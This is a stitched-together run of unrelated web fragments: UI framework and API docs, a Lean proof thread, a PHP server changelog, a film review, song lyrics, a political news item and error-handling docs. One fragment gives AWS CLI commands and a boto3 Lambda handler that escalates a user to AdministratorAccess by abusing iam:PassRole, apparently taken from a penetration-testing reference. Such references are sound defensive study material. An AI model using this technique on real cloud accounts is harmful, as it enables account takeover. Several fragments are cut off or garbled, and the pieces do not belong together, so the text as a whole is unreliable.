If you are using React to call the built-in methods, such as halfmoon.toggleSidebar()
, please make sure the call is made in a way that binds the correct context. There are two ways to do this:
Using an anonymous method:
<button className="btn" type="button" onClick={() => halfmoon.toggleSidebar()}>
Using bind
:
<button className="btn" type="button" onClick={halfmoon.toggleSidebar.bind(halfmoon)}>
You can find more details in the React documentation.
You can use the starter template generator to generate boilerplates for your project. The generator takes your settings and adds the appropriate classes and defines the required containers and elements.
Once again, we recommend reading the documentation, as it contains a lot of examples to help you quickly build websites.
Halfmoon is licensed under the MIT license.
Copyright 2020, Halfmoon UI


--- layout: archive title: Zulip Chat Archive permalink: /stream/116395-maths/topic/int.2Ecoe_nat_max.html ---
I don't think int.coe_nat_max : {m n : ℕ} : (↑(max m n) : ℤ) = max m n
is in mathlib, and I needed it today. Kenny produced this proof:
theorem int.coe_nat_max {m n : ℕ} : (↑(max m n) : ℤ) = max m n := begin unfold max,simp [int.coe_nat_le], split_ifs;refl, end
but I was thinking that the result probably lived near the beginning of data.int.basic
and I'm not sure that the devs will want split_ifs
to be used in such a low-level file. Should it go later on or should we think of a more low-level proof? (or is it there already?)
I agree this belongs in data.int.basic
, and there is no problem using split_ifs
. The mathlib tactics are all very low in the dependency order so that mathlib can use them
Last updated: Apr 24 2020 at 19:02 UTC


=================================================================== << MiniHTTPD PHP Webserver >> Version History =================================================================== Version 0.7 - 2012/05/27 - Replaced packed binary with php-win for non-console mode - Updated PHP binaries to 5.4.3 with basic extensions - Unlogged FCGI errors will now be added to the server log - Better validation of Keep-Alive connections - Added configurable timeout for FCGI connections - Improved CLI output readability in debug mode - Added decompression method for FCGI responses - Added rewrite handler exclude & external redirect options - Configuration file can now be set via MHTTPD_INIFILE - Added header count and size limits for better security - Improved handling of multiple header values - Added handling of folded header values - Improved check of support for persistent connections - Added support for custom error pages from FCGI Version 0.6 - 2012/02/11 - Improved memory usage & concurrency with large posts - Added buffering of FCGI requests to prevent blocking - Improved buffering of large client requests - Added non-blocking option for FCGI responses - Better handling of default charset - Extended X-SendFile support, locations & options - Added config option for naming FCGI processes - Improved aborted requests handling & reporting - APC admin added to Extras - Added commandline options for launcher - Functions renamed to helpers - Moved config files to new config directory - Added mime types ini file Version 0.5 - 2011/03/23 - Fixed POST request issues - Added verification of responses before sending - Added 'strict' option to rewrite handler - Improved handling of FCGI failures - Fixed auth response issues - Added basic server traffic stats - Fixed buffering of chunked responses - Added culling of idle FCGI processes - Improved X-SendFile support - Fixed various case-sensitivity issues Version 0.4 - 2011/03/17 - Improved memory usage and concurrency - Added support for chunked transport-encoding - Added X-SendFile request support for FCGI - Improved header search and editing methods - Fixed case-sensitivity of access authorization requests - Fixed loading of user_classes.php file - Added request handler for simple URL rewriting - Added per-request access authorization options - Re-implemented request handlers as objects Version 0.3 - 2011/03/06 - Added request handler methods to main client class - Improved file info parsing and discovery methods - Added XCache admin pages to Extras private directory - Enabled XCache as default for FCGI (see bin\php\php.d\xcache.ini) - Enabled scanning of php.d directory for extra FCGI ini files - Renamed php-cgi to php-fcgi (replace bin\php files) - Added checking of trailing slashes on URLs for directory requests - Added access to Extras directory in private server docroot - Improved header parsing method for messages Version 0.2 - 2010/08/01 - Updated documentation - Fixed request rewriteUrlPath() method - Fixed template DOCTYPE values - Updated request accepts() method Version 0.1 - 2010/07/30 - Initial prototype release
Documentation generated on Sun, 27 May 2012 08:58:50 +0100 by phpDocumentor 1.4.3


Recent projects
-
Connecting the Dutch Horticultural industry to Japanese farmers, government
and companies.
-
Orion/EES: European proposition to Japan for recycling PCB
www.orionun2315.nl
-
Malando Orchestra: reintroducing Malando Orchestra in Japan
www.malando.com
-
Health Care Organizations: studytours concerning Alzheimer patient care
& activities
Past Projects
- Television coordination for programs in Japan
-
KLM: organizing Dutch open, Ladies open, Japan Rising Sun social network
events for the Japanese market
-
Aweta: export Fruit & Vegatable machines to Japan
www.aweta.com
-
Cono Beemster: export Beemster cheese to Japan
www.cono.nl
-
Huis Ten Bosch: muzikanten
www.huistenbosch.co.jp
-
JA Mitsubishi: visit flower auctions & De Ruiter Seeds
www.deruiterseeds.com
-
NHK: documentary-series about Japanese Modern History with Japan’s
celebrated writer Ryotaro Shiba
www.nhk.or.jp
-
Bugaboo: market research & Trade Fair support
www.bugaboo.com
-
Taga: market research & Trade Fair support
www.taga.com
- Sail Amsterdam: organizing Japan Stage
-
Huis Ten Bosch, Nagasaki Japan: Coordination for Nihon Sekkei (Blue-print of
Huis ten Bosch), Japanese Architecture Bureau, and for general constructing
companies (Shimizu, Kajima, Obayashi, Kokudo Kaihatsu, Mitsui Fudosan,
Keisetsu) to build Huis ten Bosch:, coordination for NHK Enterprises for
animity facilities in Huis ten Bosch. Coordination for Event Planning for
Huis ten Bosch and the advicing on the concept of Huis ten Bosch.
www.huistenbosch.co.jp
-
Holland Village Japan: the establishment of the Diamond Hall in Nagasaki
Holland Village and general coordination for Nagasaki Holland Village
- Commencement of full-scale coordination for Japanese mass media
- Coordination Japanese writer Shiba Ryotaro
- Organization of social & cultural Holland – Japan events


◆ Mouse()
| unsafe HornetEngine.Input.Mouse.Mouse |
( |
WindowHandle * |
w_handle | ) |
|
The constructor of the Mouse class
- Parameters
-
| w_handle | The handle of the window |
◆ GetMode()
| MouseMode HornetEngine.Input.Mouse.GetMode |
( |
| ) |
|
A function which will return the current mode of the mouse
- Returns
- A MouseMode, depending on the current mode.
◆ GetPressedButtons()
| MouseButtons [] HornetEngine.Input.Mouse.GetPressedButtons |
( |
| ) |
|
Gets all the currently pressed mouse buttons
- Returns
- Array with all currently pressed mouse buttons
◆ IsButtonDown()
| bool HornetEngine.Input.Mouse.IsButtonDown |
( |
MouseButtons |
button | ) |
|
Checks if the specified mouse button is down
- Parameters
-
| button | The button to be checked against |
- Returns
- true if mousebutton was down, false if not
◆ MouseMoveFunc()
| delegate void HornetEngine.Input.Mouse.MouseMoveFunc |
( |
double |
xpos, |
|
|
double |
ypos, |
|
|
double |
deltaX, |
|
|
double |
deltaY |
|
) |
| |
The mouse move function
- Parameters
-
| xpos | The new x pos |
| ypos | The new y pos |
| deltaX | The difference between the x positions |
| deltaY | The difference between the y positions |
◆ MousePressFunc()
| delegate void HornetEngine.Input.Mouse.MousePressFunc |
( |
MouseButtons |
button | ) |
|
The mouse press function
- Parameters
-
| button | The mouse button which has been pressed |
◆ MouseReleaseFunc()
| delegate void HornetEngine.Input.Mouse.MouseReleaseFunc |
( |
MouseButtons |
button | ) |
|
The mouse release function
- Parameters
-
| button | The mouse button which has been released |
◆ MouseScrollFunc()
| delegate void HornetEngine.Input.Mouse.MouseScrollFunc |
( |
double |
xoffset, |
|
|
double |
yoffset |
|
) |
| |
The mouse scroll function
- Parameters
-
| xoffset | The x offset |
| yoffset | The y offset |
◆ SetMode()
| unsafe void HornetEngine.Input.Mouse.SetMode |
( |
MouseMode |
mode | ) |
|
A function which can be used to switch the mouse's mode
- Parameters
-
| mode | The button which has been pressed |
◆ SetRawInputMode()
| unsafe void HornetEngine.Input.Mouse.SetRawInputMode |
( |
bool |
state | ) |
|
Suggests to the window to use the raw mouse motion or not
- Parameters
-
| state | true == raw mouse motion, false == windows normalised mouse motion |
◆ MAX_PRESSED_BUTTONS
| readonly int HornetEngine.Input.Mouse.MAX_PRESSED_BUTTONS = 5 |
The maximum amount of buttons which can be pressed
◆ MouseMove
◆ MousePress
◆ MouseRelease
◆ MouseScroll
The documentation for this class was generated from the following file:


{% extends 'projects/project_base.html' %} {% block title %}{{ project.name }} : Overview{% endblock %} {% block project_content %}
This project is connected to the account: {{ project.account.name }}
{{ project.description }}
{% else %}No project description yet
{% endif %}


Roads
Deputy Breathnach raises poor quality of Louth's rural roads in Dáil
Calls on Government to increase funding to repair and improve rural roads
by Donard McCabeLouth TD Declan Breathnach has called on the Government to increase funding to repair and improve rural roads, saying that the poor quality of rural roads in Louth have created a huge public safety issue.
The Fianna Fáil TD was speaking in the Dáil this week and asked Minister of State Minister for Housing, Planning and Local Government John Paul Phelan if the Government will increase its funding.
Speaking today on the matter, Deputy Breathnach said:
“This is about people living on or near rural roads or class three roads. The State has a responsibility to serve people from every part of the Country, yet the people living on third class roads are being treated as third class citizens.
"The Government promised to increase funding for rural roads in their Programme for Government but we need to see real progress on this.”
Deputy Breathnach said that Minister Phelan noted there were two schemes for road improvements - the Local Improvement Scheme and the Community Involvement Scheme. Breathnach said residents should not have to rely on these schemes for safe roads and he called on the Government for increased funding to improve rural roads.
“It is a huge public safety concern for people who are living on these dangerous roads that have not been maintained for years with large cracks and potholes forming," Deputy Breathnach added.
"The Minister confirmed to me that funding will be increased and this needs to happen as soon as possible before more lives are put at risk on these roads.”


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A chance meeting during a trip brings together two men, a gregarious extrovert and a cautious introvert, in a bizarre relationship that could have deadly repercussions. It's the armature for Alfred Hitchcock's classic Strangers on a Train, and here it's taken up by German-French writer-director Dominik Moll, and given a fascinating and wholly original treatment with a vaguely paranormal twist.
Michel (Laurent Lucas) is a man caught in the web of middle-class struggle. He has a wife (Mathilde Seigner) and three little girls, a job with a modest income, a tumbledown fixer-upper of a vacation home, and meddlesome elderly parents. En route to his country house, with the car sweltering and the kids whining, he runs into an old school friend (Sergi Lopez) in the bathroom of a highway rest stop.
Or at least the guys says he's an old friend. "Harry - class of '79," he says, thrusting out a glad hand. Michel shrugs helplessly. "I'm sorry.."
But Harry is not offended, and soon with his sloe-eyed and ripely sensuous fiancE9e Plum (Sophie Guillemin) he has insinuated himself as = a houseguest into Michel's life. At dinner he regales his bemused hosts with a reverential recitation of a poem Michel published in their high school magazine 20 years earlier. "Are you still writing?" Harry asks. Michel shakes his head. He no longer has time for that sort of thing...
Who the devil is this Harry? He's wealthy beyond the point of caring, he's free as a bird, he has an adoring girlfriend who, he explains, isn't the brightest bulb in the lamp but has "an animal intelligence" and is a perfect bedmate. And he only wants to help (the French title translates more closely as "Harry, A Friend Who Wishes You Well.") Money is no object. Nor, it gradually appears, is morality.
"His motto is 'For every problem there's a solution,'" Plum tells Michel and his wife. They might not be the solutions you or I, or Michel, would fix upon, but they have a certain pragmatic directness. He seems to have a residual hero-worship of Michel from their high school days, when he dated Michel's leftover girlfriend and memorized everything he wrote. That Michel was a sort of ideal for him; and now, when he sees cares and responsibilities weighing his old friend down and keeping him from pursuing his youthful talents, it makes Harry mad.
With a Friend Like Harry is a gem of a psychological thriller, with a terrific cast. Lopez won France's Best Actor Cesar for his creepily ingratiating Harry. Moll's story, with its humor and its ominous suspense (an empty well in the back yard just begs for a body) never lets up.
But the greatest fun of the movie is trying to figure out Harry. Who is he? Is he a real person at all? Is he the dark side of Michel's nature? Is he Satan (one of whose traditional nicknames is Harry)? Is he just a well-meaning psychopath? We can't make him out - that's the trouble with Harry..
But then that's a different Hitchcock movie.
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


|
From
The Bottom Of My Broken Heart
(Britney Spears) |
|
"Never
look back," we said
How was I to know I"d miss you so? Loneliness up ahead, emptiness behind Where do I go? And you didn't hear All my joy through my tears All my hopes through my fears Did you now, still I miss you somehow CHORUS From the bottom of my broken heart There's just a thing or two I'd like you to know You were my first love, You were my true love From the first kisses to the very last rose From the bottom of my broken heart Even though time may find me somebody new You were my real love, I never knew love 'Til there was you From the bottom of my broken heart "Baby," I said, "please stay. Give our love a chance for one more day" We could have worked things out Taking time is what love's all about But you put a dart Through my dreams Through my heart And I'm back where I started again Never thought it would end Repeat CHORUS You promised yourself But to somebody else And you made it so perfectly clear Still I wis you were here Repeat CHORUS "Never look back," we said How was I to know I'd miss you so? |


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Description: A user with the iam:PassRole, lambda:CreateFunction, and lambda:InvokeFunction permissions can escalate privileges by passing an existing IAM role to a new Lambda function that includes code to import the relevant AWS library to their programming language of choice, then using it perform actions of their choice. The code could then be run by invoking the function through the AWS API.
An example set of commands to exploit this method might look like this:
aws lambda create-function –function-name my_function –runtime python3.6 –role arn_of_lambda_role –handler lambda_function.lambda_handler –code file://my/python/code.py
Where the code in the python file would utilize the targeted role. An example that uses IAM to attach an administrator policy to the current user can be seen here:
import boto3
def lambda_handler(event, context):
client = boto3.client(‘iam’)
response = client.attach_user_policy(UserName=’my_username’, PolicyArn=’ arn:aws:iam::aws:policy/AdministratorAccess’)
return response
After this, the attacker would then invoke the Lambda function using the following command:
aws lambda invoke –function-name my_function output.txt
Where output.txt is where the results of the invocation will be stored.
Potential Impact: This would give a user access to the privileges associated with any Lambda service role that exists in the account, which could range from no privilege escalation to full administrator access to the account.


The web server is returning an internal error.
A 500 error status implies there is a problem with the web server's software causing it to malfunction.
Nothing you can do at the moment, this error has been reported. If you need immediate assistance, please send us an email instead. We apologize for any inconvenience.
{% if request.sentry %}


A button is typically used to trigger a JavaScript action (e.g. fetch results, open a dialog or expand a menu). In this case, the <button> tag is required.
A button may also be used to submit or reset a form. In this case use the <button> tag with type=submit or type=reset respectively. Use of the <input> tag is not currently supported.
Finally, a link may be styled to look like a button.  In this case the <a> tag is required with a valid HREF attribute.
Use the btn or fake-btn class respectively, to create a minimal, default button. This default button is the foundation for all other button types.
{% highlight html %} Link {% endhighlight %}Use the primary block modifier to create a primary button style.
{% highlight html %} Link {% endhighlight %}Use the secondary block modifier to create a secondary button style.
{% highlight html %} Link {% endhighlight %}Use the delete block modifier to create a delete button style.
{% highlight html %} Link {% endhighlight %}The disabled attribute is required to fully disable a button tag.
Remove the href attribute to fully disable an anchor tag.
{% highlight html %} Primary Link Secondary Link {% endhighlight %}Partially disabled buttons are visually and aurally identifiable as disabled, but remain keyboard focusable.
Partially disabled buttons can vastly simplify keyboard focus management logic in situations where the button may frequently toggle back and forth between enabled and disabled (e.g. pagination or carousel "paddles").
The aria-disabled state is required for partially disabled buttons.
Use the btn--fluid modifier to fill the entire width of the parent element.
Use the btn--large size modifier to create a large button style.
{% highlight html %} Large Link {% endhighlight %}Any SVG icon can be placed adjacent to the button text. To flip position of text and icon, simply swap the DOM order.
Because the button cell uses flex box layout, it is fairly trivial to achieve alternate layouts, as in the example below.
If no text is present, only and icon, apply the btn--icon-only modifier. The button also requires an aria-label.
To ensure the same height as other controls, apply a fixed height to a button with btn--fixed-height or btn--large-fixed-height.
Buttons naturally grow wider with their text. The text will wrap naturally once the button width grows to exceed its constrained width.
Of course, with a constrained width and a fixed height, the text will begin to overflow.
The solution is to apply truncation, via the btn--truncated or btn--large-truncated modifiers.
For a wider button, use the btn--wide modifier.


We help animals of oblivion. swipbox keeps a record of all user actions (uploads, downloads, etc.) on the archive page. The archive page keeps records for up to seven days.
Swipebox is an accessible cloud storage that makes the user experience easier and more enjoyable.
We provide specific documentation and specific examples for new users. It also provides feedback and answers to any questions the user may have about the swipe box.


Todays date is 12th February 2014
2693 Commerce St., McFarland
+6085558763
08 August 2012
Hamster
Surgery


jQuery's Form Validation Reference
This repository provides reference about common uses of jQuery's Form Validation and the Extensions with Microsoft Unobstrusive Validation
If you want to review all the code of this project check the Project's GitHub Repository.


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bEquality
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dEquality provides a transparent platform for gender equality.
The project was set up at the BIOS 2018 Hackathon at ETH Zuerich
with the ultimate goal of improving the state of the world.
Our Team
Our team consists of the following awesome members:
Lena Csomor
Business Development/CEO
Qianchen Yu
Fullstack developer/Concept developer
Noah Berner
Backend developer/Concept developer
Eric Léger
"Chairman"
Fredin Thazhathukunnel
Android developer/Frontend developer
Lino Telschow
Android developer/Frontend developer
Matthi-ass Matti
Business Development
Roy Schubiger
Business Development/CFO
First team meating of the bEquality management:
Missing team members: Lena Csomor, Qianchen Yu
Support
For contact to our team, please contact our support manager
Abdul Hakunamatutlitksuut
:
Abdul Hakunamatutlitksuut
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AFL Women's -
Prediction and Analysis
If you think it's too low-scoring, you're following the wrong team.
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SQL Server Cop (aka SQL-Cop or SS-Cop*) is a simple database schema analysis tool that casts its eye over your tables, procedures and functions to tell you if you've violated your project's naming conventions, missed a primary key, etc.
The inspiration comes from FxCop which is a free static code analysis tool from Microsoft for .Net. I've long been a fan of static code analysis tools although they are usually way outside the budget of the non-professional developer.
* The unfortunate choice of the original "SS-Cop" abbreviation only came to light a couple of years later when I started using the unit test framework in my Test-Driven SQL presentation. I have since tried to replace it with "SQL-Cop" where possible with only a few key places remaining - the schema names and some URLs.
Most tools come with some sort of binaries, but because this is
SQL based it effectively comes as source code. It is intended that you apply
it to your baseline database schema and then run a script to invoke the analysis.
There is a batch file in the Source
folder called Install.cmd
that you can use to load the SQL-Cop objects into any database, e.g.
C:\SQL-Cop\Source> Install .\SQLEXPRESS Northwind
NB: This batch file invokes SQLCMD
to run the various .sql scripts and so
you need to have SQLCMD
on your PATH
.
Most likely you will already have your code in some form of Version Control System and also have some tool (or batch files) to create your baseline database. Because this library comes in source form you can just add it to your 3rd party area and then either use the supplied batch file or manually integrate it into your own build system.
The tool uses its own schema 'sscop' and so there should be no conflicts between the objects in SQL-Cop and your production codebase.
SQL-Cop is pretty simple to invoke, you just need to EXECUTE
the
Analyse
procedure with the set of rules that you wish to apply,
e.g.
exec sscop.Analyse @schemaName = 'dbo', @tableNameRule = 'sscop.IsPascalCase', @columnNameRule = 'sscop.IsCamelCase', @procedureNameRule = 'sscop.IsPascalCase', @functionNameRule = 'sscop.IsPascalCase', @parameterNameRule = 'sscop.IsCamelCase';
Executing this in SQL Server Management Studio (SSMS) will apply the rules you've specified to the relevant objects and generate a result set with any violations in it, e.g.
Alternatively you can save the query into a SQL script file and run it in batch mode with SQLCMD:-
The first set of parameters to the Analyse procedure control which of the name based rules are executed. You need to supply a rule value if you want that check to take place or you can leave the rule defaulted (which is null) to skip it. These are the current set of name checks implemented:-
| Analyse Parameter | Description |
|---|---|
| @tableNameRule | Checks the name of each table in the specified schema |
| @columnNameRule | Checks the name of each column in every table in the specified schema |
| @procedureNameRule | Checks the name of each stored procedure in the specified schema |
| @functionNameRule | Checks the name of each user-defined function in the specified schema |
| @parameterNameRule | Checks the name of each parameter declared by the stored procedures and user-defined functions in the specified schema |
The naming based rules are just a User-Defined Function that accepts an
identifier as a sysname
and returns a bit
result. The
boolean result is 1 for valid and 0 for invalid. These are the current set of
built-in naming rules:-
| Rule Function | Description |
|---|---|
| IsPascalCase | Name must start with an upper case letter and only contain upper or lower case letters and digits, e.g. CustomerId |
| IsCamelCase | Name must start with a lower case letter and only contain upper or lower case letters and digits, e.g. customerId |
| IsLowerCase | Name must only contain lower case letters, digits and underscores to separate words, e.g. customer_id |
| IsUpperCase | Name must only contain upper case letters, digits and underscores to separate words, e.g. CUSTOMER_ID |
| HasSpaces | Helper function to check if the identifier has spaces in it |
| IsReservedKeyword | Helper function to check if the identifier is a SQL Server reserved keyword |
All these rules are in the sscop
schema (as illustrated in the
original example). You can of course create your own custom function:-
create function myschema.HasChrisInTheNameAndNoSpaces ( @identifier sysname ) returns bit as begin if (@identifier is null) return null; declare @hasSpaces bit = sscop.HasSpaces(@identifier); if ( (@hasSpaces = 1) or (@identifier not like '%chris%') ) return 0; return 1; end go
As you can see the rules are designed to be composed into more specific ones to match your exact naming conventions.
Not implemented yet...
Not implemented yet...
This library is freeware - you get what you pay for, nothing more, nothing less.
Please check the web site for updates.
Email<EMAIL_ADDRESS>Web: www.cix.co.uk/~gort
Chris Oldwood
8th December 2011


Description
Talk about your project, describe what moves you and why this project is important for your team.
This page should contain:
- Clear and concise description of the project.
- A description of why your team chose to pursue this project.
- References and sources (citations).
- Visuals to supplement your project description.


Type The Given Sentence within 10 Seconds:
Instruction
Type each sentence in the given amount of time to score. To play again , just refresh the current page. Your score will reset.


A user journey defines the overall user experience that a Azure AD B2C policy will provide when the Identity Experience Framework processes the authentication request. The user is taken through a series of steps to retrieve the claims that are to be presented to the relying party.
Each user journey is a consecutive sequence of orchestration steps. Each step has a defined type that specifies the overall type of step to be executed, and a reference to the technical profile which fulfills that execution.
For example the type “IdP selection” - This lets the user select with whom they would like to login with from a list of identity providers (sign-in with local account, Facebook, Microsoft account, Twitter, Google, ect.).
If a user selects to sign-in with a local account, there is an orchestration step in which specifies the technical profile that collects and validates the user credentials and returns the user object Id to the claims bag.
If a user selects to sign-in with a social account, the next orchestration step takes the user to the selected identity provider, such as Facebook.
In the majority of cases, the last orchestration step type issues the token and redirects the user back to the application.
In the following example, we have 7 steps. But a user may not run through all of them. Because a step may contain preconditions instructing the policy to skip to the next orchestration step, based on claim comparison or claim existence. This is very similar to an If and Else statement.
The sign-up or sign-in user journey contains the following orchestration steps:
Initiates an identity provider selection: Shows the identity provider options to user. If user provides credentials on this screen, then they have chosen to login with a local account. If the user clicks on one of the social identity providers, B2C will move directly to the next step to handle this.
If user had signed-in locally (in the previous orchestration step/s), skip this step, since in this step we want to handle external account logins. In this step sign in with the social provider selected earlier by executing its respective technical profile, or register new user with a local account.
If local account had been chosen earlier (user had signed-in or signed-up with a local account), skip this step, otherwise lookup the social account by the social account unique id obtained from the social identity provider and read its attributes from the Azure AD B2C directory.
In this step, B2C attempts to find a representation of the social account in the directory. If the account is not found, B2C will not raise an error message, since this means the user has signed-in with Facebook for the first time.
If a social account representation of a user was found skip this step. Otherwise since this user logging in for the first time with their social account, present the user a registration form. Once the user submits this page create the account in the directory. The Self-Asserted technical profile invokes a validation technical profile that actually writes the account into the directory.
If this is a social account login, skip this step, else read all desired attributes from the user signed in with a local account from the user directory.
Create a token with the claims of the user collected during the user journey to send back to app within the id token.
Preconditions can be used similar to an if/else statement. They can be used to conditionally execute an orchestration step (technical profile), or validation technical profile.
The following is an example which applies a precondition to an orchestration step within the user journey. This orchestration step will execute a technical profile, therefore the precondition governs whether the technical profile will or will not be run.
<OrchestrationStep Order="5" Type="ClaimsExchange">
<Preconditions>
<Precondition Type="ClaimsExist" ExecuteActionsIf="true">
<Value>objectId</Value>
<Action>SkipThisOrchestrationStep</Action>
</Precondition>
</Preconditions>
<ClaimsExchanges>
<ClaimsExchange Id="AADUserWrite" TechnicalProfileReferenceId="AAD-UserWriteUsingAlternativeSecurityId" />
</ClaimsExchanges>
Breaking this down:


错误¶
$ npm install @feathersjs/errors --save
The @feathersjs/errors
module contains a set of standard error
classes used by all other Feathers modules as well as an Express error
handler to
format those - and other - errors and setting the correct HTTP status
codes for REST calls.
Feathers errors¶
The following error types, all of which are instances of
FeathersError
, are available:
ProTip: All of the Feathers plugins will automatically emit the appropriate Feathers errors for you. For example, most of the database adapters will already send
Conflict
orUnprocessable
errors with the validation errors from the ORM.
400:
BadRequest
401:
NotAuthenticated
402:
PaymentError
403:
Forbidden
404:
NotFound
405:
MethodNotAllowed
406:
NotAcceptable
408:
Timeout
409:
Conflict
411:
LengthRequired
422:
Unprocessable
429:
TooManyRequests
500:
GeneralError
501:
NotImplemented
502:
BadGateway
503:
Unavailable
Feathers errors contain the following fields:
name
- The error name (e.g. “BadRequest”, “ValidationError”, etc.)message
- The error message stringcode
- The HTTP status codeclassName
- A CSS class name that can be handy for styling errors based on the error type. (e.g. “bad-request” , etc.)data
- An object containing anything you passed to a Feathers error except for theerrors
object.errors
- An object containing whatever was passed to a Feathers error insideerrors
. This is typically validation errors or if you want to group multiple errors together.
ProTip: To convert a Feathers error back to an object call
error.toJSON()
. A normalconsole.log
of a JavaScript Error object will not automatically show those additional properties described above (even though they can be accessed directly).
Custom errors¶
You can create custom errors by extending from the FeathersError
class and calling its constructor with
(msg, name, code, className, data)
:
message
- The error messagename
- The error name (e.g.my-errror
)code
- An HTTP error codeclassName
- The full name of the error classdata
- Additional data to include in the error
const { FeathersError } = require('@feathersjs/errors');
class UnsupportedMediaType extends FeathersError {
constructor(message, data) {
super(message, 'unsupported-media-type', 415, 'UnsupportedMediaType', data);
}
}
const error = new UnsupportedMediaType('Not supported');
console.log(error.toJSON());
Examples¶
Here are a few ways that you can use them:
const errors = require('@feathersjs/errors');
// If you were to create an error yourself.
const notFound = new errors.NotFound('User does not exist');
// You can wrap existing errors
const existing = new errors.GeneralError(new Error('I exist'));
// You can also pass additional data
const data = new errors.BadRequest('Invalid email', {
email<EMAIL_ADDRESS>});
// You can also pass additional data without a message
const dataWithoutMessage = new errors.BadRequest({
email<EMAIL_ADDRESS>});
// If you need to pass multiple errors
const validationErrors = new errors.BadRequest('Invalid Parameters', {
errors: { email: 'Email already taken' }
});
// You can also omit the error message and we'll put in a default one for you
const validationErrors = new errors.BadRequest({
errors: {
email: 'Invalid Email'
}
});
Server Side Errors¶
Promises swallow errors if you forget to add a catch()
statement.
Therefore, you should make sure that you always call .catch()
on
your promises. To catch uncaught errors at a global level you can add
the code below to your top-most file.
process.on('unhandledRejection', (reason, p) => {
console.log('Unhandled Rejection at: Promise ', p, ' reason: ', reason);
});
Error Handling¶
It is important to make sure that errors get cleaned up before they go back to the client. Express error handling middlware works only for REST calls. If you want to make sure that ws errors are handled as well, you need to use App Hooks. App Error Hooks get called on an error to every service call regardless of transport.
Here is an example error handler you can add to app.hooks errors.
const errors = require("@feathersjs/errors");
const errorHandler = ctx => {
if (ctx.error) {
const error = ctx.error;
if (!error.code) {
const newError = new errors.GeneralError("server error");
ctx.error = newError;
return ctx;
}
if (error.code === 404 || process.env.NODE_ENV === "production") {
error.stack = null;
}
return ctx;
}
};
then add it to the error.all hook
module.exports = {
//...
error: {
all: [errorHandler],
find: [],
get: [],
create: [],
update: [],
patch: [],
remove: []
}
};


You can log in as demo with password demo to
try the application.
Click the header to switch to the Trash (and back) and the date to edit an
entry or to un-trash if in trash.
This application uses a cookie named UrlKeeper to handle the login process.


--- title: Privacy Statement Details layout: page ---
This is just a subpage single collection page to demonstrate breadrumbs (footer) on collections.


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LSD¶
The functions to handle the main function
-
LSD.
main
()[source]¶ The main function that does the superbubble detection.
The detection is done with this code:
dag, scc = partition.get_strongly_connected_component(g) for c in scc: partition.create_auxiliary_graph(c, g) if not (c.source_connected() or c.sink_connected()): dag_creation.choose_random_root(c) # includes tree construction dag_creation.construct_sung_graph(c) order = topological_sorting.toposort(c) # Use ComplexFilter for the sung superbubble filtering after detection detecter.dag_superbubble(c, order, filter.SungFilter(rep, order)) else: dag_creation.choose_root(c) # includes tree construction dag_creation.construct_dag(c) order = topological_sorting.toposort(c) detecter.dag_superbubble(c, order, rep) partition.create_auxiliary_graph(dag, g) order = topological_sorting.toposort(dag) detecter.dag_superbubble(dag, order, rep)


Basic demo for File System Access API
read more at
https://web.dev/file-system-access/
Open file to show contents and make edits
Contents
Open File
save
This site has access to the below files and can make changes to them until the tab is closed.


Browser API
The default viewer bundle exposes the following browser global APIs:
MapGuide
Application
(reference)Registry
(reference)Externals
proj4
(exported public API of proj4js)React
(exported public API of React)ReactDOM
(exported public API of ReactDOM)
NOTE: In a browser globals context, you're basically writing plain JavaScript, as a result any documentation references to TypeScript-specific features no longer apply:
- Interfaces
- Typedefs
For Task Pane content, mapguide-react-layout will also provide an API compatibility layer which allows any AJAX/Fusion viewer application to be migrated across with little to no modifications required.
Registering Script Commands
Starting with the 0.9 release, you can use registered script commands as a replacement for InvokeScript commands and widgets. For such references in a Web Layout or Application Definition, they will work in mapguide-react-layout if you have a registered script command of the same name.
To register script commands without using a custom viewer bundle using the npm module, you can use MapGuide.Registry
for registering script commands. This should be done in your entry point code before creating a MapGuide.Application
instance and mount
-ing it at the target DOM element.
The following example registers a ViewAsKml
script command that gets the KML of the current map view:
MapGuide.Registry.registerCommand("ViewAsKml", {
icon: "invoke-script.png",
enabled: function() { return true; },
selected: function() { return false; },
invoke: function(dispatch, getState, viewer, parameters) {
var state = getState();
var mapState = state.mapState;
var activeMapName = state.config.activeMapName;
if (activeMapName) {
var map = mapState[activeMapName].runtimeMap;
if (map) {
var mapDefId = map.MapDefinition;
var url = `../mapagent/mapagent.fcgi?USERNAME=Anonymous&OPERATION=GetMapKml&VERSION=1.0.0&MAPDEFINITION=${mapDefId}`;
window.open(url);
}
}
}
});
var el = document.getElementById("map");
var viewer = new MapGuide.Application();
viewer.mount(el, { ... });
Any Web Layout or Application Definition loaded that contains a InvokeScript command/widget with the same name of ViewAsKml
will run this registered command when invoked.


Examples¶
Examples are invaluable for new users who hope to get up and running quickly with statsmodels, and they are extremely useful to those who wish to explore new features of statsmodels. We hope to provide documentation and tutorials for as many models and use-cases as possible! Please consider submitting an example with any PR that introduces new functionality.
User-contributed examples/tutorials/recipes can be placed on the statsmodels examples wiki page That wiki page is freely editable. Please post your cool tricks, examples, and recipes on there!
If you would rather have your example file officially accepted to the statsmodels distribution and posted on this website, you will need to go through the normal patch submission process and follow the instructions that follow.
File Format¶
Examples are best contributed as IPython notebooks. Save your notebook with all
output cells cleared in examples/notebooks
. From the notebook save the pure
Python output to examples/python
. The first line of the Notebook must be
a header cell that contains a title for the notebook, if you want the notebook
to be included in the documentation.
The Example Gallery¶
We have a gallery of example notebooks available
here. If you would
like your example to show up in this gallery, add a link to the notebook in
docs/source/examples/landing.json
. For the thumbnail, take a screenshot of
what you think is the best “hook” for the notebook. The image will be displayed
at 360 x 225 (W x H). It’s best to save the image as a PNG with a resolution
that is some multiple of 360 x 225 (720 x 450 is preferred).
Please remember to shrink the PNG file, if you can. This website can help with that.
Before submitting a PR¶
To save you some time and to make the new examples nicely fit into the existing ones consider the following points.
Look at examples source code to get a feel for how statsmodels examples should look like.
Build the docs by running make html from the docs directory to see how your example looks in the fully rendered html pages.


CQRS and Domain Events for integration
Giorgio Sironi
- I'm a developer (writes code, design stuff)
- Interested in
- Automated testing and TDD
- Object-oriented programming
- Distributed systems
If you are looking at these slides on your pc, press S to see the notes
Context
Implications
- many different logical and physical databases
